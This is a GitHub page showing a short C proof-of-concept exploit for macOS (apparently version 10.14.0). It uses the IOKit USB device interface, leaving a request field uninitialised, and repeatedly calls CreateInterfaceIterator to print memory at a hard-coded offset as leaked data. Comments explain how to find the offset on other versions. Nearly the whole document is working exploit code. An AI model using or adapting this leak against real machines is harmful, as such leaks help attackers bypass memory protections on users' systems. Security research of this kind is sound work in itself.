-
Notifications
You must be signed in to change notification settings - Fork 18
/
poc.c
75 lines (62 loc) · 2.33 KB
/
poc.c
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
//
// main.c
// msg_test
//
// Created by maldiohead on 2018/12/10.
// Copyright © 2018 maldiohead. All rights reserved.
//
#include <ctype.h>
#include <stdlib.h>
#include <assert.h>
#include <limits.h>
#include <mach/mach_interface.h>
#include <mach/vm_region.h>
#include <mach/thread_switch.h>
#include <mach/clock_types.h>
#include <IOKit/IOKitLib.h>
#include <IOKit/hidsystem/IOHIDShared.h>
#include <IOKit/graphics/IOFramebufferShared.h>
#include <IOKit/graphics/IOGraphicsEngine.h>
#include <IOKit/graphics/IOGraphicsLib.h>
#include<CoreFoundation/CoreFoundation.h>
#include <IOKit/usb/USB.h>
int main() {
io_iterator_t iter;
kern_return_t err=IOServiceGetMatchingServices( kIOMasterPortDefault,
IOServiceMatching( "IOUSBDevice" ), &iter);
if(err)
{
printf("[!]can't find the service!\n");
return 0;
}
io_service_t service=IOIteratorNext(iter);
if(!service)
{
printf("[!]can' get service!\n");
return 0;
}
SInt32 score;
IOCFPlugInInterface** plugin;
IOUSBDeviceInterface300** usbDevice=NULL;
err=IOCreatePlugInInterfaceForService(service, kIOUSBDeviceUserClientTypeID, kIOCFPlugInInterfaceID, &plugin, &score);
if (err) {
printf("[!]can't create plugin interface!\n");
return 0;
}
(*plugin)->QueryInterface(plugin,CFUUIDGetUUIDBytes(kIOUSBDeviceInterfaceID300),(LPVOID)&usbDevice);
IODestroyPlugInInterface(plugin);
io_iterator_t interfaceIterator;
IOUSBFindInterfaceRequest interfaceRequest;
interfaceRequest.bInterfaceClass=kIOUSBFindInterfaceDontCare;
interfaceRequest.bInterfaceSubClass=kIOUSBFindInterfaceDontCare;
interfaceRequest.bAlternateSetting=kIOUSBFindInterfaceDontCare;
interfaceRequest.bAlternateSetting=kIOUSBFindInterfaceDontCare;
while (1) {
err=(*usbDevice)->CreateInterfaceIterator(usbDevice,&interfaceRequest,&interfaceIterator);
// hard code 0x190 is just the offset of the leaked data.this is macOS 10.14.0 offset. may be you need get the offset by your self.
// you can debug the poc and then get the offset
printf("[*]addr:%lx leaked data %x\n",(uint64_t)(&interfaceIterator)-0x190,*(uint64_t*)((uint64_t)(&interfaceIterator)-0x190));
sleep(1);
}
return 0;
}